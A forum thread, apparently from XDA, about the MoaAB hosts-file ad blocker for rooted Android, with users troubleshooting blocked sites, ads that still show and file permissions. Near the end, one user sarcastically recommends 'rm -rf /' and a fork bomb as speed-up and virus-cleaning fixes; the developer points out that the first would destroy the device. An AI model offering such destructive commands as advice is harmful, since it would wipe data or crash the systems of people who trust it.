yashsingh1/xdaforums huggingface dataset:
[Android Software/Hacking General [Developers Only]] kInOzAwA:
It's been a while I don't see you. Glad that you are back... I've updating my hosts file using mix command (cat hosts*.txt > hosts) and re-edit back your tab style in the files using sed command with old MoaAb file (re-edit to remove the links that I'm used to) & combined with latest adaway update hosts recently while you're away. I don't see any ads so far. :D
[Android Software/Hacking General [Developers Only]] ovu85:
the september update worked just fine on android L!
[Android Software/Hacking General [Developers Only]] ArtfulDodger:
Wow as much as I liked this for my phone, the hosts file is a HUGE debacle for a PC (BTW I know what I'm doing, done this process before). Soon as I replaced my current hosts file with it, I could no longer access any web site at all. In fact it blocked ALL internet access & turned my wireless into "limited connectivity". Worse you can't edit, revert or delete since the file is used by Windows crypto services which also can't be stopped while in operation. So I had to finally boot into safe mode to get rid of it.

Just thought I'd mention this since I read where others had done this before here. Might have worked with earlier versions but I highly recommend against using this for anything other than android.

Also I realize now at 15mb this file is way too big for a PC to handle resolving hosts and will in fact slow it way down even if it worked.
[Android Software/Hacking General [Developers Only]] BSDgeek_Jake:
We are only Speaking Android...

Am i doing free work for Windows or PC???

NO.

This is an Android Work. Period.

No one is supposed to be posting Windows or PC comments/issues here. I dont support it. It might or will work on Unix, Linux, Mac or Windows BUT we are only Speaking Android.

Stop doing damage to my thread.
[Android Software/Hacking General [Developers Only]] BSDgeek_Jake:
Issue with Chrome. Many users had the same issue and resolved it using some settings within the chrome. Search the thread.
[Android Software/Hacking General [Developers Only]] ArtfulDodger:
I get that, however there are other users who spread misinformation or information that applied before doesn't now. It doesn't impune your work to let people know that they shouldn't use this on a PC IMO. That's all.
[Android Software/Hacking General [Developers Only]] fairyshacker:
+1
[Android Software/Hacking General [Developers Only]] meyerweb:
I greatly appreciate your work, but I ended up reverting to the September file. With the latest version I was seeing a lot of ads that didn't appear in the prior one. I'm pretty swamped with work right now, but later in the week I can try to identify them, if it will help. Let me know what information will be useful.

Thanks again.
[Android Software/Hacking General [Developers Only]] BSDgeek_Jake:
Thank you for using MoaAB. Just let me know which Apps and What Ads you are getting. Will update in coming releases.

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[Android Software/Hacking General [Developers Only]] slickdealers:
Hurray! I can use this again! This version is working great with slickdeals. Thanks!!!
[Android Software/Hacking General [Developers Only]] Cr4z33:
Does this file by chance block the access to the domain ncrypt.in? :confused:

I see it's not included in the file, but using this host file on my tablet I can't reach that website while I can with my computer (using another host file).
[Android Software/Hacking General [Developers Only]] pro.aggro:
ncrypt is included!

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[Android Software/Hacking General [Developers Only]] Cr4z33:
Ouch how could I miss it? :P

Thanks going to remove that line!

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[Android Software/Hacking General [Developers Only]] BSDgeek_Jake:
Will update. ?

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[Android Software/Hacking General [Developers Only]] Penacal:
I can't connect to 8tracks with this new version. Revert to July version and it's OK, is there any line I could remove on hosts? Thanks
[Android Software/Hacking General [Developers Only]] pro.aggro:
line 14722
[Android Software/Hacking General [Developers Only]] fiekert123:
The wolfram alpha app licensing server is blocked. Couldn't find it so far.

And I can't download slots in the slots Pharaoh's way. Did a search for that but couldn't find it either.

Verstuurd vanaf mijn C6903 met Tapatalk
[Android Software/Hacking General [Developers Only]] berryman13:
Guys make the job easier on the dev and find what host needs unblocking...
[Android Software/Hacking General [Developers Only]] bombadier:
wolfram is mentioned on line 121390
[Android Software/Hacking General [Developers Only]] BSDgeek_Jake:
Just Report what you are facing and i'll do the changes. All correction on way...

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[Android Software/Hacking General [Developers Only]] piats:
I can't place bets at nordicbet.com & subscene site doesn't load

Lähetetty minun SM-N9005 laitteesta Tapatalkilla
[Android Software/Hacking General [Developers Only]] imdaman99:
Does anyone have a problem with the watch ESPN app? I'm able to stream it to Chromecast but I can't view the streams on my HTC One m7.
[Android Software/Hacking General [Developers Only]] E:V:A:
[MENTION=4877037]BSDgeek_Jake[/MENTION]

I see that this file contain all host names and not IP's. Wouldn't it be better to block on IP's instead, since there could be many host names to the same IP? Perhaps reducing the size of this file?

Another issue is maintaining this file. Since IP's can change at clients will, I also guess old IP's may be re-cycled on new hosts, thus blocking the wrong sites.

One way to prevent this, would be to write a script to do a reverse look-up on all hosts (or IPs) listed in this file, before new release.

Or perhaps you're already looked into this?
[Android Software/Hacking General [Developers Only]] BSDgeek_Jake:
You cannot block IP to IP or IP to name, and that's not how a hosts file is supposed to work. We are only talking about Domain Names and including FQDN and Sub-Domains. Name is resolved for IP.

You are actually talking about Advanced DNS and Reverse DNS functions which is totally a differnt thing to work on.

Generally Domain names are always static and IPs are shuffled.

Thanks for the comments. Regards.

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[Android Software/Hacking General [Developers Only]] berryman13:
Yes please dont block IP lists that will not end well!
[Android Software/Hacking General [Developers Only]] 3Dota:
thank for keep updating ... :thumbup:

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[Android Software/Hacking General [Developers Only]] meyerweb:
[MENTION=4877037]BSDgeek_Jake[/MENTION], just wanted to say thank you, again, for all the effort you put into this. I've been using ad blockers of one sort of another I had forgotten just how ad-infested the internet, and some apps, have become. But yesterday I flashed a different ROM, and didn't immediately reload your hosts file. Lord, what a mess things are without an ad blocker. I don't know how anyone tolerates using these devices without on.

Thank you.
[Android Software/Hacking General [Developers Only]] Play3r0:
I have the MoaAB 10282014-R1 in KK 4.4.4 and I can't access to http://foro.noticias3d.com from Chrome, tapatalk, etc. Any idea?

Regards.
[Android Software/Hacking General [Developers Only]] BSDgeek_Jake:
Internet indeed a place for ADs and Craps these days. But this is how people make money without charging you directly. Developers do need to put ADs in there Apps to cover the cost of there time... but unfortunately the ADs system is more intrusive these days and require more info on users all the time. Well... Can't help developers and Can't help users. "MoaAB is just a small step to stop ADs, Craps, Malware and Trackers and Loggers and Who knows what else is out there." Guaranteed blocking will never happen but at-least Your Device and Apps are Yours only. Period.

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[Android Software/Hacking General [Developers Only]] BSDgeek_Jake:
hhmmm... cant comment at this moment, my S5 is still on KitKat and Will carry it till Xposed is ready for Lollipop. my Official support is till KitKat 4.4.4. Some users here will definitely help you. PM them or post the issue in details.

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[Android Software/Hacking General [Developers Only]] bombadier:
[MENTION=5049805]Play3r0[/MENTION]

Open the hosts and look to line 109261 You may have to do it on a computer as android struggles with big ones

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[MENTION=4734845]Adr990[/MENTION]

Are you sure the zip flashed correctly ? ie have you seen that your hosts is 15MB?
[Android Software/Hacking General [Developers Only]] bombadier:
Only two things I can think of is permission which should be set to 644 rw-r-r and I see you are using chrome beta make sure that the data reduction is not ticked as this routes things through googles servers bypassing the host
[Android Software/Hacking General [Developers Only]] bombadier:
Try wiping data for chrome beta and reboot your phone to see if that helps

[MENTION=4877037]BSDgeek_Jake[/MENTION] If you havent already might be an idea to add to the OP about chrome and the data reduction thing?
[Android Software/Hacking General [Developers Only]] meyerweb:
Can't argue with you. I'm willing to pay for apps to eliminate ads where that option exists (as long as the price is reasonable), but too often that option doesn't even exist. It's really web pages, and apps that repackage the web, that are the worst offenders though.

Thanks again.
[Android Software/Hacking General [Developers Only]] BSDgeek_Jake:
Cheers
[Android Software/Hacking General [Developers Only]] joaaoalves:
I can't use zwame forum on tapatalk or browser after changing the hosts (only that one is causing failed to connect)
[Android Software/Hacking General [Developers Only]] jojobanin:
ART

Will this work if i flash it over ART runtime?

Thanks.:confused:
[Android Software/Hacking General [Developers Only]] bombadier:
Yes that is not an issue
[Android Software/Hacking General [Developers Only]] saintmonte:
For last two updates ads are shown in tube mate app but if I use adaway they disappear, if I revert to Moaab then ads reappear any one facing this issue, Except tube mate no ads appear in any apps or browser
[Android Software/Hacking General [Developers Only]] BSDgeek_Jake:
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[Android Software/Hacking General [Developers Only]] BACARDILIMON:
After flashing this new one I still get ads. Bottom right.

BAD ASS NOTE 4
[Android Software/Hacking General [Developers Only]] Nick_73:
Check to make sure there the stock host file is not in /system/etc. If it is somewhere else replace it with the moab

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The host file itself is ~+15 mb; how long have u been making this project???
[Android Software/Hacking General [Developers Only]] frankeegee:
I get absolutely no ads on the testing site. ?

I just ordered a new phone, so won't be able to use this mod much longer ? really like it. Going to a non rooted phone (turbo).
[Android Software/Hacking General [Developers Only]] Zordak7:
Last update (nov 19) isn't blocking anything. The previous one, oct 28, did blocked almost everything.

I'm on CM 11 snapshot M12

What could be happening?
[Android Software/Hacking General [Developers Only]] Ramaaa:
Hi, I'm also having problems.

I currently have a Nexus 4 (rooted, obviously) and I'm running Android L.

I've tried the latest update, the one from october, flashing, adding the hosts file manually and using other software such as AdAway to no avail. I'm still seeing ads everywhere.

One thing that I don't know if it's causing the problem is that I have 2 hosts files, one located in /system/etc/hosts and the other at /etc/hosts

I use Root Browser to browse and edit system files such as hosts.

What could this be?

Thanks!
[Android Software/Hacking General [Developers Only]] Mucky2:
Does this work with google chromes? Used a few Adblocks but chrome still show me the ads
[Android Software/Hacking General [Developers Only]] St3ve32:
You need to turn off the data saving feature in Chrome settings, than it should work :)
[Android Software/Hacking General [Developers Only]] Mucky2:
Okay which version should I use? Just saw that a few have problems with the latest one...I'm using lollipop btw
[Android Software/Hacking General [Developers Only]] kInOzAwA:
Have you check either hosts file have the right permission 644 (rw-r-r) in that folder?

BTW, /etc folder there is not an issue since it was just symlinked to /system/etc folder. If you delete hosts file either one, both will be missing.
[Android Software/Hacking General [Developers Only]] Ramaaa:
Hi :)

Thanks for clearing out the /etc/hosts path, was wondering about that one..

I checked and the hosts file has the correct permissions if I'm not mistaken.

And I'm sure I've root, but I still get loads of ads :(

I tried with Chromes data savings both on and off, clearing its cache, but nothing works :/
[Android Software/Hacking General [Developers Only]] kInOzAwA:
[MENTION=997620]Ramaaa[/MENTION]: You can add manually the ads link to the MoaAB hosts file by using your PC text editor like Notepad++ in Windows (unless you know how to use vi/vim text editor in the terminal emulator you can edit it directly on the phone) . It's not that hard to do that. Just copy the link you see on the ads then put 127.0.0.1 in front of the link while you edit the hosts file. Save them. Then, copy back the hosts file to your phone in the right folder, /system/etc/. After that set the correct permissions (rw-r-r) using any root file manager (Root Browser, Root Explorer or whatever it is) to the file or you can also use Terminal Emulator (if you do not want to use the file manager) by typing 'su'. Then, mount -o remount,rw /system. Then type chmod 644 /system/etc/hosts. After that you should reboot and re-testing the ad-blocker.
[Android Software/Hacking General [Developers Only]] piats:
[MENTION=4877037]BSDgeek_Jake[/MENTION] thanks for the update it works otherwise really good except I can't dl files from dev host
[Android Software/Hacking General [Developers Only]] BSDgeek_Jake:
is it? lemme chk.

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[Android Software/Hacking General [Developers Only]] madman31:
Me neither..it doesnt start download
[Android Software/Hacking General [Developers Only]] bombadier:
I have just switched from a nexus 4 to an opo so still getting used to new phone etc and have noticed the same thing will need to dig out the last release to see if that is better, does not seem to work cyanogen related (stock opo rom is also cyanogen)?

tapatyping fae the bacon
[Android Software/Hacking General [Developers Only]] strix75:
Just downloaded no problem at all.
[Android Software/Hacking General [Developers Only]] Zordak7:
that's pretty bad news, does anyone know which could be the exact problem with CyanogenMod roms? I'd like to repeat that with the oct 28 release (and every others before that) the blocking was perfect.
[Android Software/Hacking General [Developers Only]] bombadier:
I really can't explain it and am no expert,have just had a look at the two host files and cant see whats broken (for us that is) on the November release, think we need the big cheese to have a look
[Android Software/Hacking General [Developers Only]] kInOzAwA:
I'm doubt it was a ROM related issues. Firstly check the location it was installed, either it's there or not. If it doesn't work, try to move the hosts file manually to /system/etc and set a correct permission (rw-r-r) by using Root Explorer or any File Manager who got root access. I'm using Cyanogenmod too without issues with MoaAB.
[Android Software/Hacking General [Developers Only]] Zordak7:
Already did all that, with no results. The new host file size is 13 mb (13.338 Kb)?
[Android Software/Hacking General [Developers Only]] bombadier:
Nothing wrong with how it flashed, same for both versions,its the reduction in the hosts that's the problem,minor point as Octobers release is doing the job,so will just use that

tapatyping fae the bacon
[Android Software/Hacking General [Developers Only]] paradoxiumwind:
does anyone have a mirror for the new version? download isn't working.

Edit: It let me download the entire folder, couldn't get the individual file, so try that.
[Android Software/Hacking General [Developers Only]] AndroTech:
The latest ver is not blocking ads so reverted back to an older version which is working great.
[Android Software/Hacking General [Developers Only]] Zordak7:
Which rom are you using?
[Android Software/Hacking General [Developers Only]] BSDgeek_Jake:
I don't have any clue Y the latest release is not working. It's the same CWM Installer, hosts with additions and deletions... but this should not stop it from working. i think Newer CM ROMs and Variants are using some very different configurations for hosts parsing and Network Traffic management. Stock i don't find any issue. Working Tip Top. Users please comment... since i am not on CM it will be difficult for me to troubleshoot. Post your thoughts please.

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[Android Software/Hacking General [Developers Only]] bombadier:
It must be related to what's been removed between versions, the two example apps that show adds with your November release is 1weather and turbo editor reverted to Octobers release and ads are gone,am now using an opo (cm 11) I would be happy to help troubleshoot

tapatyping fae the bacon
[Android Software/Hacking General [Developers Only]] Gips3yD4ng3r:
I found this super block ad blocker but i dont see it on this thread can someone explain the difference to me
[Android Software/Hacking General [Developers Only]] Richardsentosa:
someone please mirror to other cloud storage, i cant download it from Box
[Android Software/Hacking General [Developers Only]] bombadier:
Mirror removed as has served its purpose,

tapatyping fae the bacon
[Android Software/Hacking General [Developers Only]] thermalboyz:
November version not working too, tried change permission to rw-r-r and rw-rw-rw (Both not working), edited the host files based on OCT version and flashed CWM (Not working), extract rar and replace host in system/etc (Not working).

No clue what happened here, am not using CM. Custom ROM 4.4.2 with no problem with the OCT version.

EDIT : Permission to rw-rw-rw works tho.
[Android Software/Hacking General [Developers Only]] Zordak7:
"EDIT : Permission to rw-rw-rw works tho"

Those permissions are not working for me, you mean you could get it to work?
[Android Software/Hacking General [Developers Only]] bombadier:
Just revert to Octobers release.I did and ads are blocked again
[Android Software/Hacking General [Developers Only]] Zordak7:
Yes, that's what I did after find out the nov release wasn't working, but I'd like to get to the bottom of that issue, because this may mean that from

now on, no update of the ad-block zip would work with my (and others) phone.

Saludos!
[Android Software/Hacking General [Developers Only]] bombadier:
Dont think there are long term implications,we both know that Octobers works fine, whats the difference between the 2 hosts? 2MB and in there the solution lies
[Android Software/Hacking General [Developers Only]] Zordak7:
2MB of the dead!!

To anyone who knows, What changed in that mod upgrade between 28 oct and 19 nov?

Saludos!
[Android Software/Hacking General [Developers Only]] drmjp93:
Lollipop support please
[Android Software/Hacking General [Developers Only]] BSDgeek_Jake:
bombadier please remove the link. i think you can start your thread and posting links.

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[Android Software/Hacking General [Developers Only]] BSDgeek_Jake:
i will some day. Right now my S5 is not officially supported for lollipop. few months to go... ?

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[Android Software/Hacking General [Developers Only]] BSDgeek_Jake:
Guys i will release an intermediate release to make it work. Some time in December.

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[Android Software/Hacking General [Developers Only]] atarum0r0:
same problem too
[Android Software/Hacking General [Developers Only]] atarum0r0:
thank you very much bombadier :D
[Android Software/Hacking General [Developers Only]] drmjp93:
Hope in coming days
[Android Software/Hacking General [Developers Only]] zaris:
This no longer works for me. Is it because of TWRP? Is there a process of doing this from the start? I just flashed stock and then tried the last one and then the archived. But still nothing.
[Android Software/Hacking General [Developers Only]] whodisname:
This blocks xda and play store.
[Android Software/Hacking General [Developers Only]] berryman13:
Wrong and wrong. don't come off so demanding first of all, nobody made this for you to begin with.

That being said, how am I posting to xda using this? It's not blocked and I haven't had those issues with anything, play store just needed a data wipe.

How about YOU work for IT to function properly
[Android Software/Hacking General [Developers Only]] whodisname:
I wasn't being demanding, sorry if I came off that way. I was just posting my experience. There are over 100 ad blocking programs. So I should have said it blocks my xda and play store on my lg l90 d415 with cm 11. And yes, indeed it does. And I wipe data and delvic twice after EVERY flash.
[Android Software/Hacking General [Developers Only]] Pfeffernuss:
Twice is not enough. Everybody knows wiping needs to be done at least 4 times on KitKat and 5 times on Lollipop.
[Android Software/Hacking General [Developers Only]] pulak861:
sorry... wrong post
[Android Software/Hacking General [Developers Only]] whodisname:
And for good measure use this s command rm -rf / it will speed your device so much you wouldn't even believe it. I promise, try it out.

And use this on your laptop from cmd. :(){ :|: & };: that will clean your viruses.
[Android Software/Hacking General [Developers Only]] John Kester:
Kindly repost the commands pls so they are displayed on two straight lines. Thanks a bunch.
[Android Software/Hacking General [Developers Only]] BSDgeek_Jake:
You might be using some other blocker which is restricting your access to xda or playstore, i have been using this for 5 years now and it never blocked legitimate sites and if it did then it was way first reported by users and it was instantly corrected. Xda or Playstore block is a NO NO others than ADs and few images. Right now I am sending this thru XDA and Playstore services. Let me chk if there are any instances of the said names and if any, then update it on the coming release. Cheers.

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[Android Software/Hacking General [Developers Only]] BSDgeek_Jake:
Which ROM? Which Android Release?
[Android Software/Hacking General [Developers Only]] BSDgeek_Jake:
You are Now Ready to Kill Your device using that command. Are U sure ???

Just chill buddy. Something might be Blocked. Some other AD blocker... or Malware... ??? Wht are all the Apps you hav? i can tell you the culprit.

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[Android Software/Hacking General [Developers Only]] zaris:
I've got Oneplus One with official CM11s (4.4.4)